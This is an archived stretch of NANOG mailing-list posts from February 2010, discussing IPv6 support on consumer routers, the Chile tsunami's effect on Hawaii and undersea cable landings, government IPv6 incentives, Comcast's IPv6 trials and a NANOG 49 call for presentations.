Apple Airport Extreme does support >>>> DHCPv6 prefix delegation and native IPv6 uplink not only 6to4. >>> Airports don't support DHCPv6 PD yet. I'm led to believe that they >>> may in the future from my Apple friends but not yet. >> >> It does in a limited extent: >> http://lists.apple.com/archives/Ipv6-dev/2009/Oct/msg00086.html > > Not sure that is DHCPv6 PD (Prefix Delegation), the discussion doesn't > seem to say so. If it is it would be wonderful. > >> I will check soon the hardware. > > Great, please report, thanks, > > Alex > >> >> >> Best Regards, >> Janos Mohacsi >> >> >> > > > ========================================= John Jason Brzozowski Comcast Cable e) mailto:john_brzozowski at cable.comcast.com o) 609-377-6594 m) 484-962-0060 w) http://www.comcast6.net ========================================= From fm-lists at st-kilda.org Sat Feb 27 15:02:31 2010 From: fm-lists at st-kilda.org (Fearghas McKay) Date: Sat, 27 Feb 2010 21:02:31 +0000 Subject: Consumer Grade - IPV6 Enabled Router Firewalls. In-Reply-To: References: Message-ID: <20BFC80E-9103-4D1E-A8E4-1464214E2498@st-kilda.org> On 27 Feb 2010, at 20:58, John Jason Brzozowski wrote: > Related to the comment below the latest release of the Apple Airport > Extremes and Time Capsules support IPv6 including prefix delegation > and > stateful DHCPv6 on the WAN interface. Is that latest hardware releases or software releases? Are they going to backport to earlier hardware if it is only software releases currently? f From john_brzozowski at cable.comcast.com Sat Feb 27 15:17:08 2010 From: john_brzozowski at cable.comcast.com (John Jason Brzozowski) Date: Sat, 27 Feb 2010 16:17:08 -0500 Subject: Consumer Grade - IPV6 Enabled Router Firewalls. In-Reply-To: <20BFC80E-9103-4D1E-A8E4-1464214E2498@st-kilda.org> Message-ID: I am testing with the latest hardware which I assume was released with a new firmware. On 2/27/10 4:02 PM, "Fearghas McKay" wrote: > > On 27 Feb 2010, at 20:58, John Jason Brzozowski wrote: > >> Related to the comment below the latest release of the Apple Airport >> Extremes and Time Capsules support IPv6 including prefix delegation >> and >> stateful DHCPv6 on the WAN interface. > > Is that latest hardware releases or software releases? > > Are they going to backport to earlier hardware if it is only software > releases currently? > > f > ========================================= John Jason Brzozowski Comcast Cable e) mailto:john_brzozowski at cable.comcast.com o) 609-377-6594 m) 484-962-0060 w) http://www.comcast6.net ========================================= From jcdill.lists at gmail.com Sat Feb 27 15:55:53 2010 From: jcdill.lists at gmail.com (JC Dill) Date: Sat, 27 Feb 2010 13:55:53 -0800 Subject: Tsunami In-Reply-To: <2ECB782E-0007-4F53-9403-1E40DE8DDF57@americafree.tv> References: <4B8951E1.2030509@cox.net> <4B895547.1060308@weatherserver.net> <4B896390.8010509@ficora.fi> <4B896AA0.5000608@cox.net> <7118D08F-08C9-4C39-921E-8B2B4A355959@puck.nether.net> <2ECB782E-0007-4F53-9403-1E40DE8DDF57@americafree.tv> Message-ID: <4B8994E9.1020404@gmail.com> Marshall Eubanks wrote: > The Tsunami is big enough to be dangerous but seems not to be too major : It depends on where you are located, not just how distant you are from Chili but also the angle. They are forecasting a cone-shaped zone of effect heading directly towards Hawaii. See: http://nctr.pmel.noaa.gov/chile20100227/ http://nctr.pmel.noaa.gov/chile20100227/Chile2010.mov http://nctr.pmel.noaa.gov/chile20100227/T1960_1-annotated.png CNN reported a few minutes ago that the tsunami hit New Zealand about 1 hour ago. Hawaii is ~3 hours more distant (as the wave travels) from the location of the earthquake in Chili than New Zealand, so the expectation is that the wave will hit Hawaii a little later than first forecast. ObNANOG: Does anyone know if transoceanic cable landing facilities are sited and built to resist damage a tsunami of a particular height/strength? (Thinking back to the video of the tsunami in the Indian Ocean on December 26, 2004.) jc From dougb at dougbarton.us Sat Feb 27 17:12:45 2010 From: dougb at dougbarton.us (Doug Barton) Date: Sat, 27 Feb 2010 15:12:45 -0800 Subject: Consumer Grade - IPV6 Enabled Router Firewalls. In-Reply-To: References: Message-ID: <4B89A6ED.6010108@dougbarton.us> On 02/27/10 13:17, John Jason Brzozowski wrote: > I am testing with the latest hardware which I assume was released with a new > firmware. That is not in any way a safe assumption. -- ... and that's just a little bit of history repeating. -- Propellerheads Improve the effectiveness of your Internet presence with a domain name makeover! http://SupersetSolutions.com/ From surfer at mauigateway.com Sat Feb 27 17:36:47 2010 From: surfer at mauigateway.com (Scott Weeks) Date: Sat, 27 Feb 2010 15:36:47 -0800 Subject: Tsunami Message-ID: <20100227153647.6537661@resin05.mta.everyone.net> --------------------------------- > The Tsunami is big enough to be dangerous but seems not to be too major : -------------------------------------- It wasn't anything. Stood on the cliff above Pipeline (famous surf spot) and couldn't tell if the water washing up the beach was normal winter surf or a tsunami. Other parts of the island may have seen more, though. Resonance is everything with these types of waves. Many cables land at Kahe on the west side of Oahu and Kawaihae on the Big Island, the opposite side of the islands from the direction of the wave. No calls from the NOC, so no trouble AFAIK... ;-) scott From jeffshultz at wvi.com Sat Feb 27 17:46:14 2010 From: jeffshultz at wvi.com (Jeff Shultz) Date: Sat, 27 Feb 2010 15:46:14 -0800 Subject: Tsunami In-Reply-To: <20100227153647.6537661@resin05.mta.everyone.net> References: <20100227153647.6537661@resin05.mta.everyone.net> Message-ID: <4B89AEC6.7000209@wvi.com> On 2/27/2010 3:36 PM, Scott Weeks wrote: > ------------------------------- > It wasn't anything. Stood on the cliff above Pipeline (famous surf spot) and couldn't tell if the water washing up the beach was normal winter surf or a tsunami. Other parts of the island may have seen more, though. Resonance is everything with these types of waves. > > Many cables land at Kahe on the west side of Oahu and Kawaihae on the Big Island, the opposite side of the islands from the direction of the wave. No calls from the NOC, so no trouble AFAIK... ;-) > > scott > > Last time I checked, Pipeline was on the north side of the island, was it not? Activity coming from Chile would be on the east and southern sides. Nonetheless, based on television coverage it basically "sloshed" in and out a lot without any real damage being done. Didn't even look like it really got past the beaches from what I could see. -- Jeff Shultz From shon at unwiredbb.com Sat Feb 27 18:09:08 2010 From: shon at unwiredbb.com (Shon Elliott) Date: Sat, 27 Feb 2010 16:09:08 -0800 Subject: Tsunami In-Reply-To: <4B89AEC6.7000209@wvi.com> References: <20100227153647.6537661@resin05.mta.everyone.net> <4B89AEC6.7000209@wvi.com> Message-ID: <4B89B424.7000609@unwiredbb.com> The tsunami center has cancelled the warnings for Hawaii (so I just heard from fox news). I guess it's really nothing, now. Who knows with how many aftershocks might be generated from that 8.8 EQ. -S Jeff Shultz wrote: > On 2/27/2010 3:36 PM, Scott Weeks wrote: >> ------------------------------- >> It wasn't anything. Stood on the cliff above Pipeline (famous surf >> spot) and couldn't tell if the water washing up the beach was normal >> winter surf or a tsunami. Other parts of the island may have seen >> more, though. Resonance is everything with these types of waves. >> >> Many cables land at Kahe on the west side of Oahu and Kawaihae on the >> Big Island, the opposite side of the islands from the direction of the >> wave. No calls from the NOC, so no trouble AFAIK... ;-) >> >> scott >> >> > > Last time I checked, Pipeline was on the north side of the island, was > it not? Activity coming from Chile would be on the east and southern sides. > > Nonetheless, based on television coverage it basically "sloshed" in and > out a lot without any real damage being done. Didn't even look like it > really got past the beaches from what I could see. > From dot at dotat.at Sat Feb 27 18:33:04 2010 From: dot at dotat.at (Tony Finch) Date: Sun, 28 Feb 2010 00:33:04 +0000 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <4B8971F1.8030204@bogus.com> References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> <4B8843F4.9070108@foobar.org> <4B886B33.9080403@foobar.org> <20100227040406.GH13373@macbook.catpipe.net> <4B8906B7.8070203@foobar.org> <4B8971F1.8030204@bogus.com> Message-ID: On Sat, 27 Feb 2010, Joel Jaeggli wrote: > On 02/27/2010 03:49 AM, Nick Hilliard wrote: > > > > Correct me if I'm wrong, but the Japanese government did two things: > > > > - tax incentivise ipv6 compliance > > - make meaningful ipv6 compliance mandatory when dealing with Japanese > > government technical contracts. > > > > The effect of this was to 1) create a direct financial incentive to deploy > > meaningfully, and 2) create an indirect financial incentive to deploy ipv6 > > meaningfully. Spot the pattern here? > > If you are a network contractor for the US government or a vendor > selling network equipment to the DOD then you've had a similar > incentive, if it's not there, you're not going to end up on the approved > suppliers list. I get the impression that in Japan the incentives led to real deployment, but not in the US - which is a big FAIL for DOD procurement policy. Tony. -- f.anthony.n.finch http://dotat.at/ GERMAN BIGHT HUMBER: SOUTHWEST 5 TO 7. MODERATE OR ROUGH. SQUALLY SHOWERS. MODERATE OR GOOD. From joelja at bogus.com Sat Feb 27 20:00:45 2010 From: joelja at bogus.com (joel jaeggli) Date: Sat, 27 Feb 2010 18:00:45 -0800 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> <4B8843F4.9070108@foobar.org> <4B886B33.9080403@foobar.org> <20100227040406.GH13373@macbook.catpipe.net> <4B8906B7.8070203@foobar.org> <4B8971F1.8030204@bogus.com> Message-ID: <4B89CE4D.9020302@bogus.com> Tony Finch wrote: > On Sat, 27 Feb 2010, Joel Jaeggli wrote: >> On 02/27/2010 03:49 AM, Nick Hilliard wrote: >>> Correct me if I'm wrong, but the Japanese government did two things: >>> >>> - tax incentivise ipv6 compliance >>> - make meaningful ipv6 compliance mandatory when dealing with Japanese >>> government technical contracts. >>> >>> The effect of this was to 1) create a direct financial incentive to deploy >>> meaningfully, and 2) create an indirect financial incentive to deploy ipv6 >>> meaningfully. Spot the pattern here? >> If you are a network contractor for the US government or a vendor >> selling network equipment to the DOD then you've had a similar >> incentive, if it's not there, you're not going to end up on the approved >> suppliers list. > > I get the impression that in Japan the incentives led to real deployment, > but not in the US - which is a big FAIL for DOD procurement policy. Having responded to rfp/rfi requests from US governement entities and their contractors I can assure you that not having ipv6 support in the network design, and on the equipment to be deployed, along with the usual other requirements (fips 140-2/cc eal 4/etc) was um not going to fly (literally in some cases). > Tony. From owen at delong.com Sat Feb 27 21:23:52 2010 From: owen at delong.com (Owen DeLong) Date: Sat, 27 Feb 2010 19:23:52 -0800 Subject: Consumer Grade - IPV6 Enabled Router Firewalls. In-Reply-To: References: Message-ID: <794F16D7-623C-4874-A9AD-C688A081F9A1@delong.com> I can't say for the WAN interface, but, it doesn't give any controls for delegating stuff to the LAN interface(s) and doesn't provide visible indication of DHCP support on IPv6 in any configuration options. Additionally, I've found their IPv6 implementation to be rather broken in a number of "interesting" ways where the combination of IPv6 and IPv4 configuration choices results in several possible useful configurations that simply don't do IPv6 even though they should. Owen On Feb 27, 2010, at 12:58 PM, John Jason Brzozowski wrote: > Related to the comment below the latest release of the Apple Airport > Extremes and Time Capsules support IPv6 including prefix delegation and > stateful DHCPv6 on the WAN interface. > > I am also working with Netgear and several others to ensure similar > functionality is supported. > > John > > > On 2/27/10 11:59 AM, "Frank Bulk" wrote: > >> Heard from a D-Link product manager that code that supports DHCPv6-PD will >> be available in the next month or two. I had asked about the DIR-615 and >> DIR-825, but he didn't mention which platform(s). >> >> This is good news. >> >> Frank >> >> -----Original Message----- >> From: Alexandru Petrescu [mailto:alexandru.petrescu at gmail.com] >> Sent: Saturday, December 12, 2009 8:44 AM >> To: Mohacsi Janos >> Cc: nanog at nanog.org >> Subject: Re: Consumer Grade - IPV6 Enabled Router Firewalls. >> >> Mohacsi Janos a ?crit : >>> >>> >>> >>> On Thu, 3 Dec 2009, Matthew Moyle-Croft wrote: >>> >>>> >>>> >>>> Mohacsi Janos wrote: >>>>> >>>>> >>>>> According to Apple the latest Apple Airport Extreme does support >>>>> DHCPv6 prefix delegation and native IPv6 uplink not only 6to4. >>>> Airports don't support DHCPv6 PD yet. I'm led to believe that they >>>> may in the future from my Apple friends but not yet. >>> >>> It does in a limited extent: >>> http://lists.apple.com/archives/Ipv6-dev/2009/Oct/msg00086.html >> >> Not sure that is DHCPv6 PD (Prefix Delegation), the discussion doesn't >> seem to say so. If it is it would be wonderful. >> >>> I will check soon the hardware. >> >> Great, please report, thanks, >> >> Alex >> >>> >>> >>> Best Regards, >>> Janos Mohacsi >>> >>> >>> >> >> >> > > ========================================= > John Jason Brzozowski > Comcast Cable > e) mailto:john_brzozowski at cable.comcast.com > o) 609-377-6594 > m) 484-962-0060 > w) http://www.comcast6.net > ========================================= > > From surfer at mauigateway.com Sat Feb 27 22:02:28 2010 From: surfer at mauigateway.com (Scott Weeks) Date: Sat, 27 Feb 2010 20:02:28 -0800 Subject: Tsunami Message-ID: <20100227200228.6530001@resin05.mta.everyone.net> --- jeffshultz at wvi.com wrote: Last time I checked, Pipeline was on the north side of the island, was it not? Activity coming from Chile would be on the east and southern sides. -------------------------------------- Wrap around. The tsunami sirens were going off, folks were getting to high ground with all their stuff, the only road was closed and one idiot in the ocean waiting to surf it. Strange day here indeed... scott From john_brzozowski at cable.comcast.com Sun Feb 28 13:08:37 2010 From: john_brzozowski at cable.comcast.com (John Jason Brzozowski) Date: Sun, 28 Feb 2010 14:08:37 -0500 Subject: Comcast IPv6 Trials Update In-Reply-To: <16BDBB7A-22CA-43D2-92FF-1FC4A05D3DFF@thegrebs.com> Message-ID: Mike, Are you looking for something specific on www.comcast6.net? We will likely be making some content updates in the not too distant future and over time as the trials progress and evolve. If there is something specific you would like to see send me your suggestions. Thanks, John On 2/26/10 1:15 PM, "Michael Greb" wrote: > Received this message today. They haven't updated the > site yet. > > Mike > > Begin forwarded message: > >> An Important Message From Comcast >> >> Dear Comcast Customer, >> >> Thank you for volunteering to participate in Comcast's IPv6 trials! I wanted >> to provide you with a quick update on what our next steps are and when you >> can expect to hear from us again. >> >> As you know, we have four trials described at http://www.comcast6.net. We're >> in detailed planning on the first three: 6RD, plus native dual-stack for >> residential and for commercial customers. We expect each of these to start >> sometime within the next 90 days or so. >> >> 6RD Trial: >> We anticipate having customers from around our network, not limited to any >> specific areas, participate. We will start the trial on a very small scale >> and then progressively increase the number of participants. We plan to ship a >> new home gateway device to each trial participant. >> >> Residential Native Dual-Stack Trial: >> This trial will be limited to a few areas in our network. We are in the midst >> of determining precisely what those areas will be, based on where we have >> volunteers and where the infrastructure will be ready. If trial participants >> do not have an IPv6-capable home gateway and cable modem, one will be >> provided. >> >> Commercial Native Dual-Stack Trial: >> This trial will be limited to a few areas in our network. We have tentatively >> identified these trial areas and will soon be in touch with potential trial >> users. >> >> Within approximately the next 30 days we will begin to contact some of our >> volunteers regarding each of these trials, so expect to hear from us soon. >> >> Thanks again for your interest! >> >> Regards >> Jason Livingood >> Internet Systems Engineering >> Comcast > > ========================================= John Jason Brzozowski Comcast Cable e) mailto:john_brzozowski at cable.comcast.com o) 609-377-6594 m) 484-962-0060 w) http://www.comcast6.net ========================================= From randy at psg.com Sun Feb 28 23:30:32 2010 From: randy at psg.com (Randy Bush) Date: Mon, 01 Mar 2010 13:30:32 +0800 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> <4B8843F4.9070108@foobar.org> <4B886B33.9080403@foobar.org> <20100227040406.GH13373@macbook.catpipe.net> <4B8906B7.8070203@foobar.org> <4B8971F1.8030204@bogus.com> Message-ID: > I get the impression that in Japan the incentives led to real > deployment nope. in japan, there is still far more powerpoint than packets. i have ntt ftth. it is v4 only. i have to tunnel to iij to get v6. do not believe powerpoint. randy From dmm at 1-4-5.net Fri Feb 26 09:57:26 2010 From: dmm at 1-4-5.net (David Meyer) Date: Fri, 26 Feb 2010 07:57:26 -0800 Subject: [NANOG-announce] NANOG 49 Call for Presentations now available Message-ID: <20100226155726.GA13442@1-4-5.net> Folks, After a great meeting in Austin, we're gearing up for NANOG 49. The NANOG 49 CFP is now available on http://www.nanog.org/meetings/nanog49/callforpresent.php Important dates include: Presentation Abstracts and Draft Slides Due: 09-Apr-2010 Final Slides Due: 07-May-2010 Draft Program Published: 13-May-2010 Final Agenda Published: 27-May-2010 Please submit your materials to http://pc.nanog.org Looking forward to seeing everyone in San Francisco. Dave (for the NANOG PC) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 197 bytes Desc: Digital signature URL: -------------- next part -------------- _______________________________________________ NANOG-announce mailing list NANOG-announce at nanog.org http://mailman.nanog.org/mailman/listinfo/nanog-announce